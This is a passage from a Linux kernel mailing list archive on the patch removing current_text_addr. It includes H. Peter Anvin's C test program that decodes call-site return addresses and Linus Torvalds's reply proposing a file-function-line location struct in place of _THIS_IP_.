 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="------------5E98DEB96C9E8225D80004DF"
X-Trace: blaine.gmane.org 1535311980 17639 195.159.176.226 (26 Aug 2018 19:33:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2018 19:33:00 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?Q?Alex_Benn=c3=a9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 linux-kernel@vger.kerne
To: Helge Deller <deller@gmx.de>, Nick Desaulniers <ndesaulniers@google.com>, 
 torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Aug 26 21:32:46 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fu0mB-0004EO-Dh
	for gla-linux-snps-arc@m.gmane.org; Sun, 26 Aug 2018 21:32:43 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Content-Type:
	In-Reply-To:MIME-Version:Date:Message-ID:References:To:From:Subject:Reply-To:
	Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
	Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Owner;
	 bh=qwQsI5/kqzja3zylWSKTta2r16vNQBcXywVSGHm/O2M=; b=dY4DWLLkXNwO2eV6iyuOFKs/M
	9X5If+/vGLM7EhcZq2cQKe0Bkxk1EHA5Z6myKA8NS9BTegY61GfRMU+2fd6a3GZwhWuhL+JECNjlm
	dbMqW5g4X65D5tQ4bSfy6pVMiRmAo13fHrCee4lhshRbhnEi9CAVBnTteQf5TOT+2Fq9kDHd3e7O1
	lU9nK9SHcjpPebRg9aVRBwSV3W6uGoXRJZ3HL+bYmj3denV7iXnFys4XdubMxiWB3OrAYR8lISqCu
	7dcUHlOkr/M4BFysSptgEfMbCjZRrV7qaCFpullzm4cXuxMnZadC6F/VQd2On7N4hz/bg1mhM2Cxa
	R1QBzi96Q==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fu0oG-0004Ml-W9; Sun, 26 Aug 2018 19:34:53 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fu0oE-0004La-J5; Sun, 26 Aug 2018 19:34:52 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7QJUgnC310741
 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO);
 Sun, 26 Aug 2018 12:30:44 -0700
In-Reply-To: <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
Content-Language: en-US
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180826_123450_656094_93BD006A 
X-CRM114-Status: GOOD (  12.69  )
X-Spam-Score: -0.0 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.0 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [198.137.202.136 listed in list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.0 SPF_HELO_PASS          SPF: HELO matches SPF record
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4230 gmane.linux.ports.mips.general:66186 gmane.linux.ports.sh.devel:57405 gmane.linux.kernel:2853449 gmane.linux.ports.m68k:10219 gmane.linux.ports.ia64:29120 gmane.linux.ports.hexagon:1817 gmane.linux.ports.arm.kernel:670193 gmane.linux.ports.parisc:28909 gmane.linux.ports.alpha:5206 gmane.linux.ports.sparc:28234 gmane.linux.ports.riscv:534 gmane.linux.ports.ppc64.devel:161666
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4230>

This is a multi-part message in MIME format.
--------------5E98DEB96C9E8225D80004DF
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit

Here is a full-blown (user space) test program demonstrating the whole
technique and how to use it.

	-hpa


--------------5E98DEB96C9E8225D80004DF
Content-Type: text/x-csrc;
 name="str.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
 filename="str.c"

#include <stddef.h>
#include <string.h>

#define _RET_IP_ ((unsigned long)__builtin_return_address(0))
#define noinline __attribute__((noinline))
#define used __attribute__((used))
/* __always_inline is defined in glibc already */
#define ifconst(x,y)	__builtin_choose_expr(__builtin_constant_p(x),(x),(y))
static inline void notailcall(void)
{
	asm volatile("");
}

/* Change this to a null string to make all functions global */
#define STATIC static

struct myputs_string {
	unsigned short len;
	char str[0];
};

STATIC int _myputs_struct(const struct myputs_string * const strs);
STATIC int _myputs_string(const char *str);
STATIC int __myputs(unsigned long ip, const char *str, size_t len);

#if 1

#include <stdio.h>

STATIC void dump_caller(unsigned long where)
{
	const char *opname = NULL;
	const char *wheretoname = NULL;
	char ichar;
	unsigned long whereto = 0;

#if defined(__i386__) || defined(__x86_64__)
	char opname_buf[4];
	unsigned char opcode;
	
	where -= 5;
	opcode = *(unsigned char *)where;

	switch (opcode) {
	case 0xe8:
		opname = "call";
		whereto = where + 5 + *(signed int *)(where + 1);
		break;
	case 0xe9:
		opname = "jmp";
		whereto = where + 5 + *(signed int *)(where + 1);
		break;
	default:
		snprintf(opname_buf, sizeof opname_buf, "?%02x", opcode);
		opname = opname_buf;
		break;
	}

#elif defined(__sparc__)
	const char regtype[4] = "gilo";
	unsigned int opcode, op1, op3, ibit;
	signed int simm13, simm30;
	char opname_buf[32];
	char *p;

	where -= 8;
	
	opcode = *(signed int *)where;
	op1 = opcode >> 30;
	op3 = (opcode >> 19) & 0x3f;
	ibit = (opcode >> 13) & 1;
	simm13 = (opcode & 0x1fff) << 2;
	simm30 = (opcode & 0x3fffffff) << 2;

	opname = opname_buf;
	
	if (op1 == 1) {
		opname = "call";
		whereto = where + simm30;
	} else if (op1 == 2 && op3 == 0x38) {
		if (ibit) {
			snprintf(opname_buf, sizeof opname_buf,
				 "jmpl %%%c%u %c 0x%x",
				 regtype[(opcode >> 17) & 3],
				 (opcode >> 14) & 7,
				 simm13 < 0 ? '-' : '+',
				 abs(simm13));
		} else {
			snprintf(opname_buf, sizeof opname_buf,
				 "jmpl %%%c%u + %%%c%u",
				 regtype[(opcode >> 17) & 3],
				 (opcode >> 14) & 7,
				 regtype[(opcode >> 3) & 3],
				 opcode & 7);
		}
	} else {
		snprintf(opname_buf, sizeof opname_buf,
			 "?0x08x", opcode);
	}
#else
	/* Unknown architecture */
#endif
	if (whereto == (unsigned long)_myputs_struct) {
		wheretoname = "_myputs_struct";
	} else if (whereto == (unsigned long)_myputs_string) {
		wheretoname = "_myputs_string";
	} else {
		wheretoname = "?";
	}

	ichar = '[';
	
	if (opname) {
		printf("%c%p: %s",
		       ichar, (void *)where, opname);
		ichar = ' ';
	}
	if (whereto) {
		printf("%c%p <%s>", ichar, (void *)whereto, wheretoname);
		ichar = ' ';
	}
	if (ichar != '[')
		putchar(']');
}
	
STATIC int __myputs(unsigned long where, const char *str, size_t len)
{
	size_t slen = strlen(str);
	size_t rv;
	
	len--;
	rv = printf("%p: \"%.*s\"%*s", (void *)where, (int)len, str,
		    16-(int)slen, "");
	dump_caller(where);
	if (slen != len)
		printf(" <err: strlen = %zu, len = %zu>\n", slen, len);
	else
		printf(" <ok: len = %zu>\n", len);
	
	return rv;
}

STATIC int noinline _myputs_struct(const struct myputs_string * const strs)
{
	return __myputs(_RET_IP_, strs->str, strs->len);
}

STATIC int noinline _myputs_string(const char *str)
{
	return __myputs(_RET_IP_, str, strlen(str)+1);
}
#endif

#define myputs(s)							\
({									\
	int _rv;							\
	if (__builtin_constant_p(s) &&					\
	    __builtin_constant_p(strlen(s)) &&				\
	    strlen(s)+1 == sizeof(s) &&					\
	    sizeof(s) <= (size_t)65535) {				\
	static const struct {						\
		struct myputs_string _mps_hdr;				\
		char _mps_str[sizeof(s)];				\
	} _mps = {							\
		._mps_hdr.len = sizeof(s),				\
		._mps_str = ifconst(s,""),				\
	};								\
		_rv = _myputs_struct(&_mps._mps_hdr);			\
	} else {							\
		_rv = _myputs_string(s);				\
	}								\
	notailcall();							\
	_rv;								\
})

STATIC int test1(void);
STATIC int test2(const char *strx);

STATIC int test1(void)
{
	return myputs("Foobar");
}

STATIC int test2(const char *strx)
{
	return myputs(strx);
}

int main(int argc, char *argv[])
{
	(void)argc;

	test1();
	test2(argv[0]);
	return 0;
}

--------------5E98DEB96C9E8225D80004DF
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
linux-snps-arc mailing list
linux-snps-arc@lists.infradead.org
http://lists.infradead.org/mailman/listinfo/linux-snps-arc
--------------5E98DEB96C9E8225D80004DF--



From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sun, 26 Aug 2018 13:25:14 -0700
Lines: 55
Approved: news@gmane.org
Message-ID: <CA+55aFzuSCKfmgT9efHuwtan+m3+bPh4BpwbZwn5gGX_H=Thuw@mail.gmail.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535315030 15693 195.159.176.226 (26 Aug 2018 20:23:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2018 20:23:50 +0000 (UTC)
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>,
 linux-mips <linux-mips@linux-mips.org>,
 Linux-sh list <linux-sh@vger.kernel.org>,
 Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>, gor@linux.vnet.ibm.com,
 Matt Turner <mattst88@gmail.com>,
 "moderated list:H8/300 ARCHITECTURE" <uclinux-h8-devel@lists.sourceforge.jp>,
 Marc Zyngier <marc.zyngier@arm.com>, Ram Pai <linuxram@us.ibm.com>,
 linux-um@lists.infradead.org, Nick Piggin <npiggin@gmail.com>,
 Andrew Lutomirski <luto@kernel.org>, shannon.nelson@oracle.com,
 Thomas Gleixner <tglx@linutronix.de>, alex.bennee@linaro.org,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 N
To: Peter Anvin <hpa@zytor.com>, Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Sun Aug 26 22:23:36 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fu1ZN-0003m3-E4
	for gla-linux-snps-arc@m.gmane.org; Sun, 26 Aug 2018 22:23:33 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:To:Subject:Message-ID:Date:From:
	In-Reply-To:References:MIME-Version:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=Z69Pn20Ng0iqHptL7g3iS+/x9XnS61LzTemJM6xommw=; b=aHWXOadbv5w6AF
	FfSROyffDm0ZIm/BArs53QiaB1WD8Gc5+muO9j0KUXiqKARF3T/L7c729Wl694169Fh2Ph23/hL+Q
	nlZe6Rzvyr3ZBP57N8sw/fXi1ga7TIRI7LLKWevLw10LdTy40cWFJtbFvpTHxX86ufItJZIT5ygEM
	ByR3nTA/skU8im/stWwzQQfB8i3V1WMYS6TwtXpPl1GM3FU2MuWnZifv+KInjFcFNobRQKeNAWreL
	KeBL6zxYpWKALx+SS0RpzwLijw8U48B/VmlqXlUeR1pkp3Av2SFA5yGxsOPE7ZLge1cMF7xjTRbId
	4d6yGbdH4eiMFR0WfiUg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fu1bR-0004qU-QN; Sun, 26 Aug 2018 20:25:41 +0000
Original-Received: from mail-it0-x241.google.com ([2607:f8b0:4001:c0b::241])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fu1bO-0004pL-JH; Sun, 26 Aug 2018 20:25:40 +0000
Original-Received: by mail-it0-x241.google.com with SMTP id g18-v6so8471804itg.2;
 Sun, 26 Aug 2018 13:25:26 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=linux-foundation.org; s=google;
 h=mime-version:references:in-reply-to:from:date:message-id:subject:to
 :cc; bh=dv1Zcv6yXV8JnerUXBelQioxfreCKhp9x/roL8HAR1I=;
 b=Qv+RrAJ/N6qen72rY9BU1nLz2fhljA6/X1iKITlTVDj2mLNwFWOWN3ypaj2qdf1CH3
 Jd2L1Ze/zarujO4YtXPYCgl/FYaXNv7z/j1xY/1u5dOKOFTwmh0+cLIXEqFNgQMtEaNY
 NIYEnA15J3iItWZpcDjMSTUFsMxSXM5+ctwGg=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:mime-version:references:in-reply-to:from:date
 :message-id:subject:to:cc;
 bh=dv1Zcv6yXV8JnerUXBelQioxfreCKhp9x/roL8HAR1I=;
 b=tIbOGdO40Vewpv26BEj72qCTFmrRytB7wiHnRTWRzmDUiBJfbiH99RonxyZahPRgnf
 74fyUx9+TKmbWSYuaNk7Uyp4gWKA1A5Z9Yara+NPOXUaMacWoPewfJKLNMIFkxWk+7Pu
 fHWpghl01PwoJ11b2j9qxMlC/DpYuWz+SNxK6I4vwmelZxfviNomMfNMvZXFj9fMaUnp
 sJv/syhB4n8xkU0bcr+kDDWsTs+zbfg8TwCG3Qw38Hv9PJc5/eAp/fKIQ14BI/XUAvkr
 226Bnm1ZFJOkZXVZFB4AAPxJsrP4BT2NyO1DPLqb9h3iH2Nvv4+6Dp3dYWE9YbpeMEwu
 RwYw==
X-Gm-Message-State: APzg51BbqULcnIYuNcW193QGgUDfzcHAn1ibiqeEZH+t/4xIF7jB/efO
 moh43YVd88IEzKMsrtRH1znu2QHETrqylkhH9ts=
X-Google-Smtp-Source: ANB0VdY1LLT0Wtt41ppo1tZgxbH6qh9QWlqvufZ/YlzkWTdSxyZjuKGRHsSSCvFcE4sKaAA12P5OXijo12HIwY8wy/I=
X-Received: by 2002:a02:2b12:: with SMTP id
 h18-v6mr8286899jaa.10.1535315125750; 
 Sun, 26 Aug 2018 13:25:25 -0700 (PDT)
In-Reply-To: <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180826_132538_994561_9D5E38CD 
X-CRM114-Status: GOOD (  18.51  )
X-Spam-Score: 0.3 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (0.3 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4001:c0b:0:0:0:241 listed in] [list.dnswl.org]
 0.2 FREEMAIL_ENVFROM_END_DIGIT Envelope-from freemail username ends in
 digit (linus971[at]gmail.com)
 0.0 FREEMAIL_FROM Sender email is commonly abused enduser mail provider
 (linus971[at]gmail.com)
 -0.0 SPF_PASS               SPF: sender matches SPF record
 0.2 HEADER_FROM_DIFFERENT_DOMAINS From and EnvelopeFrom 2nd level mail
 domains are different
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.0 FREEMAIL_FORGED_FROMDOMAIN 2nd level domains in From and EnvelopeFrom
 freemail headers are different
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4231 gmane.linux.ports.mips.general:66187 gmane.linux.ports.sh.devel:57406 gmane.linux.kernel:2853454 gmane.linux.ports.m68k:10220 gmane.linux.ports.ia64:29121 gmane.linux.ports.hexagon:1818 gmane.linux.ports.arm.kernel:670194 gmane.linux.ports.parisc:28910 gmane.linux.ports.alpha:5207 gmane.linux.ports.sparc:28235 gmane.linux.ports.riscv:535 gmane.linux.ports.ppc64.devel:161667
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4231>

On Sun, Aug 26, 2018 at 12:32 PM H. Peter Anvin <hpa@zytor.com> wrote:
>
> Here is a full-blown (user space) test program demonstrating the whole
> technique and how to use it.

So while I agree that some _THIS_IP_ users might be better off being
converted to __builtin_return_address(0) at the caller, I also think
that the whole "notailcall" thing shows why that can easily be more
problematic than just our currnet _THIS_IP_ solution.

Honestly, I'd suggest:

 - just do the current_text_addr() to _THIS_IP_ conversion

 - keep _THIS_IP_ and make it be the generic one, and screw the whole
"some architectures might implement is better" issue. Nobody cares.

 - try to convince people to move away from the "we want the kernel
instruction pointer for the call" model entirely, and consider this a
"legacy" issue.

The whole instruction pointer is a nasty thing. We should discourage
it and not make complex infrastructure for it.

Instead, maybe we could encourage something like

  struct kernel_loc { const char *file; const char *fn; int line; };

  #define __GEN_LOC__(n) \
        ({ static const struct kernel_loc n = { \
                __FILE__, __FUNCTION__, __LINE__  \
           }; &n; })

  #define _THIS_LOC_ __GEN_LOC__(__UNIQUE_ID(loc))

which is a hell of a lot nicer to use, and actually allows gcc to
optimize things (try it: if you pass a _THIS_LOC_ off to an inline
function, and that inline function uses the name and line number, gcc
will pick them up directly, without the extra structure dereference.

Wouldn't it be much nicer to pass these kinds of "location pointer"
around, rather than the nasty _THIS_IP_ thing?

Certainly lockdep looks like it could easily take that "const struct
kernel_loc *" instead of "unsigned long ip". Makes it easy to print
out the lockdep info.

Ok, I didn't try to convert anybody, so maybe people who currently use
_THIS_IP_ or current_text_addr() have some fundamental reason why they
want just that, but let's not male _THIS_IP_ more complex than it
needs to be.

Hmm?

             Linus

From - Thu Nov 08 21:41:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.m68k,gmane.linux.ports.ia64,gmane.linux.ports.hexagon,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH] treewide: remove current_text_addr
Date: Sun, 26 Aug 2018 16:20:19 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <e425d208-214b-06a2-a032-7442a10388fc@zytor.com>
References: <CAKwvOdkWL_2yTnJqM6n6R9UCPwY4iz-9BQYGN2MDAk9EzumUvA@mail.gmail.com>
 <20180821202900.208417-1-ndesaulniers@google.com>
 <207784db-4fcc-85e7-a0b2-fec26b7dab81@gmx.de>
 <c62e4e00-fb8f-19a6-f3eb-bde60118cb1a@zytor.com>
 <81141365-8168-799b-f34f-da5f92efaaf9@zytor.com>
 <7f49eeab-a5cc-867f-58fb-abd266f9c2c9@zytor.com>
 <6ca8a1d3-ff95-e9f4-f003-0a5af85bcb6f@zytor.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1535325626 7578 195.159.176.226 (26 Aug 2018 23:20:26 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 26 Aug 2018 23:20:26 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.9.1
Cc: Nicolas Pitre <nicolas.pitre@linaro.org>, linux-mips@linux-mips.org,
 linux-sh@vger.kernel.org, Benjamin Herrenschmidt <benh@kernel.crashing.org>,
 Will Deacon <will.deacon@arm.com>, Paul Mackerras <paulus@samba.org>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>,
 Geert Uytterhoeven <geert@linux-m68k.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Vasily Gorbik <gor@linux.vnet.ibm.com>, Matt Turner <mattst88@gmail.com>,
 uclinux-h8-devel@lists.sourceforge.jp, Marc Zyngier <marc.zyngier@arm.com>,
 Ram Pai <linuxram@us.ibm.com>, linux-um@lists.infradead.org,
 Nicholas Piggin <npiggin@gmail.com>, Andy Lutomirski <luto@kernel.org>,
 Shannon Nelson <shannon.nelson@oracle.com>, tglx@linutronix.de,
 =?UTF-8?Q?Alex_Benn=c3=a9e?= <alex.bennee@linaro.org>,
 Richard Henderson <rth@twiddle.net>, Jiri Kosina <jkosina@suse.cz>,
 linux-kernel@vger.kerne
To: Helge Deller <deller@gmx.de>, Nick Desaulniers <ndesaulniers@google.com>, 
 torvalds@linux-foundation.org, akpm@linux-foundation.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Mon Aug 27 01:20:13 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1fu4KI-0001ge-Hh
	for gla-linux-snps-arc@m.gmane.org; Mon, 27 Aug 2018 01:20:10 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:Date:
	Message-ID:References:To:From:Subject:Reply-To:Content-ID:Content-Description
	:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=NHD/tWVGBb/ZDH5ekF+1PJSTyALm9mOkPzb68Ok4v3k=; b=f4txQSHN8fNryt
	sOW8ghOxDx0dEjdHqFvL626n4ZHWLFeNcmfXb7IFA2ZBpTofsoHOiZ3oABczXq6gscATxptXXEXku
	nqLr/qk6m1hp42IxEinrw+oZQ19Ign6Sq/qp4L2l1FfoYbSyPK3m2MYen0BaPNYO3DPGUB575uAks
	WsthEyjrI/4pZB83wKJjkzIgRfqlP1PURJ2/qnQxf5oakfpjnjRJRWyJo/AJW5tU1U3jp7hZ01wGi
	L9pImQs5Kir06aAOAJjrcdh4/aWIkq9xvcoC/yDRvRr3eUK2IwHHTril3yo76AHUZzpuf84nQMgSJ
	HWL13IaKeXYVm1jjMSXA==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1fu4MN-0005Y1-1Y; Sun, 26 Aug 2018 23:22:19 +0000
Original-Received: from terminus.zytor.com ([198.137.202.136] helo=mail.zytor.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1fu4MK-0005XH-Cm; Sun, 26 Aug 2018 23:22:17 +0000
Original-Received: from carbon-x1.hos.anvin.org (c-24-5-245-234.hsd1.ca.comcast.net
 [24.5.245.234] (may be forged)) (authenticated bits=0)
 by mail.zytor.com (8.15.2/8.15.2) with ESMTPSA id w7QNKPiK367410
